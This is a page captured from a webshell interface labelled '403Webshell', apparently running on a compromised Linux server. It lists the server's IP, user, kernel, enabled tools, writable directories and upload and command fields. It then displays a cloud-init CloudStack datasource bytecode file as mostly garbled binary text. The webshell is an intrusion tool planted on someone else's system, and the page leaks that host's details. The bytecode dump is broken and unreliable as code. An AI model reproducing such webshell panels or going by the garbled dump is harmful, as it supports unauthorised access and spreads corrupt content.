403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.229
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceCloudStack.cpython-310.pyc
o

��im2�@s0ddlZddlZddlZddlmZddlmZmZmZddl	m
Z
ddlmZm
Z
mZmZddlmZddlmZddlmZdd	lmZdd
lmZddlmZe�e�ZdZGd
d�d�ZGdd�dej �Z!Gdd�de!�Z"dd�Z#dd�Z$dd�Z%de&fdd�Z'e"ej(ffe!ej(ej)ffgZ*dd�Z+dS)�N)�suppress)�gaierror�getaddrinfo�	inet_ntoa)�pack)�dmi�net�performance�sources)�
url_helper)�util)�dhcp)�NoDHCPLeaseError)�EphemeralIPNetwork)�ec2�
CloudStackc@s6eZdZdZdd�Zdd�Zejddd�d	d
��ZdS)�CloudStackPasswordServerClienta�
    Implements password fetching from the CloudStack password server.

    http://cloudstack-administration.readthedocs.org/
       en/latest/templates.html#adding-password-management-to-your-templates
    has documentation about the system.  This implementation is following that
    found at
    https://github.com/shankerbalan/cloudstack-scripts/
       blob/master/cloud-set-guest-password-debian
    cCs
||_dS�N)�virtual_router_address)�selfr�r�H/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceCloudStack.py�__init__/�
z'CloudStackPasswordServerClient.__init__cCsHd|j�d�}d|i}tj||ddd�}|��std��|j�d���S)	N�http://z:8080�DomU_Request��)�headers�timeout�retriesz+Failed to fetch VM password from CloudStackzutf-8)r�uhelp�readurl�ok�RuntimeError�contents�decode�strip)r�domu_request�urlr�resprrr�_do_request2sz*CloudStackPasswordServerClient._do_requestzGetting password�always��log_modecCs4|�d�}|dvrdS|dkrtd��|�d�|S)N�send_my_password)��saved_password�bad_requestz-Error when attempting to fetch root password.r1)r+r$)r�passwordrrr�get_password=s

z+CloudStackPasswordServerClient.get_passwordN)	�__name__�
__module__�__qualname__�__doc__rr+r	�timedr4rrrrr#srcs�eZdZdZdZdZdZ�fdd�Zdd�Z			d�fd	d
�	Z	dd�Z
d
d�Zede
fdd��Zdd�Zejddd�dd��Zdd�Zedd��Z�ZS)�DataSourceCloudStackFr�x�2cs8t��|||�tj�|jd�|_d|_i|_d|_dS)N�cs�latest)	�superr�os�path�join�seed_dir�api_ver�cfg�vr_addr)r�sys_cfg�distro�paths��	__class__rrrPs

zDataSourceCloudStack.__init__c
Cs�t�d�dD]}t�|�}|r|��Sqt�d�ttj��t���|j	d�}|r8|��Wd�SWd�n1sBwYt�d|j	j
j�z|j	j
�|j	j
�}|�d�}|rf|��WSWntttfysYnwt�d�dS)	z�Try obtaining a "domain-name" DHCP lease parameter:
        - From systemd-networkd lease (case-insensitive)
        - From ISC dhclient
        - From dhcpcd (ephemeral)
        - Return empty string if not found (non-fatal)
        z.Try obtaining domain name from networkd leases)�
DOMAINNAME�Domain�domain-namezHCould not obtain FQDN from networkd leases. Falling back to ISC dhclientrNNzBCould not obtain FQDN from ISC dhclient leases. Falling back to %sz7No domain name found in any DHCP lease; returning emptyr0)�LOG�debugr
�networkd_get_option_from_leasesr'r�NoDHCPLeaseMissingDhclientError�IscDhclient�get_key_from_latest_leaserH�dhcp_client�client_name�get_newest_lease�fallback_interface�getr�FileNotFoundError�AttributeError)r�key�
domainname�domain_name�latest_leaserrr�_get_domainnameYsF

�������

��
z$DataSourceCloudStack._get_domainnamecsnt��|||�}|r5d|jvr5t�d�|��}|r/|j�d|��}t�d|�t�||j�St�d|�|S)z�
        Returns instance's hostname / fqdn
        First probes the parent class method.

        If fqdn is requested, and the parent method didn't return it,
        then attach the domain-name from DHCP response.
        �.zFQDN requestedzObtained the following FQDN: %szNCould not determine domain name for FQDN. Fall back to hostname as an FQDN: %s)	r?�get_hostname�hostnamerOrPr`r
�DataSourceHostname�
is_default)r�fqdn�
resolve_ip�
metadata_onlyrcr]rJrrrb�s

�z!DataSourceCloudStack.get_hostnamecCs�|��}|jdkrdSt�|jd�g}t��}tj||j|jt	j
d�\}}|r1t	�d|�t|�St	�d|t
t��|��t|�S)NrFzlatest/meta-data/instance-id)�urls�max_waitr�	status_cbzUsing metadata source: '%s'z>Giving up on waiting for the metadata from %s after %s seconds)�get_url_params�max_wait_secondsr!�combine_url�metadata_address�time�	monotonic�wait_for_url�timeout_secondsrO�warningrP�critical�int�bool)r�
url_paramsri�
start_timer)�	_responserrr�wait_for_metadata_service�s.
��
�	��z.DataSourceCloudStack.wait_for_metadata_servicecCs|jSr)rE�rrrr�get_config_obj�sz#DataSourceCloudStack.get_config_obj�returncCst�S)z#Check if running on this datasource)�is_platform_viablerrrr�	ds_detect�szDataSourceCloudStack.ds_detectc
CsVi}tj||jdd�r|d|_|d|_t�d|j�dS|jr3t�	�}t�d|�t
|j|�}nt��}zI|�<t
|j�}t|t�rJ|�d�n||_|jsTtd	��d
|j�d�|_|��sj	Wd�WdS|��Wd�WS1sywYWdSty�t�d|�YdSty�}zt�d
t|��WYd}~dSd}~ww)N�/)�basez	user-dataz	meta-dataz%Using seeded cloudstack data from: %sTzAttempting DHCP on: %s�dhcp-server-identifierzNo virtual router found!rFz#Unable to obtain a DHCP lease on %sz$Failed fetching metadata service: %s)r�read_optional_seedrC�userdata_raw�metadatarOrP�perform_dhcp_setupr�find_fallback_nicrrH�nullcontext�get_vr_address�
isinstance�dictrYrFr$ror{�_crawl_metadatarrt�	Exception�str)r�seed_ret�primary_nic�network_contextrF�errr�	_get_data�sD


���(���zDataSourceCloudStack._get_datazCrawling metadatar,r-cCszt�|j|j�|_t�|j|j�|_t|j�}z|�	�}Wnt
y/t�t
d|j�YdSw|r;d|ddid�|_dS)Nz/Failed to fetch password from virtual router %sT�expireF)�
ssh_pwauthr3�chpasswd)r�get_instance_userdatarDror��get_instance_metadatar�rrFr4r�r�logexcrOrE)r�password_client�set_passwordrrrr��s0��
����z$DataSourceCloudStack._crawl_metadatacC�
|jdS)Nzinstance-id�r�r|rrr�get_instance_idrz$DataSourceCloudStack.get_instance_idcCr�)Nzavailability-zoner�r|rrr�availability_zones
z&DataSourceCloudStack.availability_zone)FFF)r5r6r7r��dsname�url_max_wait�url_timeoutrr`rbr{r}�staticmethodrwr�r�r	r9r�r��propertyr��
__classcell__rrrJrr:Hs*	-�$
r:c@seZdZdZdZdS)�DataSourceCloudStackLocalauRun in init-local using a dhcp discovery prior to metadata crawl.

    In init-local, no network is available. This subclass sets up minimal
    networking with dhclient on a viable nic so that it can talk to the
    metadata service. If the metadata service provides network configuration
    then render the network configuration for that instance based on metadata.
    TN)r5r6r7r8r�rrrrr�sr�cCs>ztdd�}Wntyt�d�YdSw|dddS)Nzdata-server�PzDNS Entry data-server not foundr�)rrrOrP)�addrinforrr�get_data_servers
�r�cCs^t�d���}|D]#}|�d�}|ddkr,ttdt|dd���}t�d|�|Sq	dS)	Nz/proc/net/route�	��00000000z<L��z"Found default route, gateway is %s)	r�load_text_file�
splitlines�splitrrrvrOrP)�lines�line�items�gwrrr�get_default_gateway's
�r�cCst�}|r
t�d|�|St�d�}|rt�d|�|Sttj��!t���|d�}|r;t�d|�|Wd�SWd�n1sEwYtt	��#|j
�|j�}|rjt�d||j
j
�|Wd�SWd�n1stwYt�d�t�S)Nz4Found metadata server '%s' via data-server DNS entry�SERVER_ADDRESSz-Found SERVER_ADDRESS '%s' via networkd_leasesr�z&Found SERVER_ADDRESS '%s' via dhclientz1Found SERVER_ADDRESS '%s' via ephemeral %s lease z$No DHCP found, using default gateway)r�rOrPr
rQrrRrSrTrZrUrWrXrVr�)rH�latest_addressr_rrrr�4sN�
����
����

r�r~cCs&t�d�}|st�d�dS|�t�S)Nzsystem-product-namez-system-product-name not available in dmi dataF)r�
read_dmi_datarOrP�
startswith�CLOUD_STACK_DMI_NAME)�product_namerrrrfs



rcCst�|t�Sr)r
�list_from_depends�datasources)�dependsrrr�get_datasource_listvsr�),�loggingr@rp�
contextlibr�socketrrr�structr�	cloudinitrrr	r
rr!r�
cloudinit.netr
�cloudinit.net.dhcpr�cloudinit.net.ephemeralr�cloudinit.sources.helpersr�	getLoggerr5rOr�r�
DataSourcer:r�r�r�r�rwr�DEP_FILESYSTEM�DEP_NETWORKr�r�rrrr�<module>s6
%I
2

�

Youez - 2016 - github.com/yon3zu
LinuXploit